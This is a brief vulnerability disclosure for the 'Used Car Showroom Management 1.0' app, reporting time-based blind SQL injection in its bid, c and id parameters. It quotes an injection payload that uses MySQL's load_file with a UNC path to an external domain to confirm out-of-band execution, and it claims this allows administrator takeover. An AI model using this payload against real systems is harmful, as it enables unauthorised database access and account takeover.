Description:
The bid, c & id parameters from /used_car_showroom/ node app on Online-Pre-owned/Used Car Showroom Management 1.0 system appear to be vulnerable to Multiple time-based blind SQL injection attacks. The payload ‘+(select load_file(’\2z2p3k6kl8xuxf3ykb2dc84ocfi8600orrfi29qy.nu11secur1typenetrationtestingengineer.net\nxj’))+’ was submitted in the bid parameter. This payload injects a SQL sub-query that calls MySQL’s load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can take administrator account control on this system. Status: CRITICAL
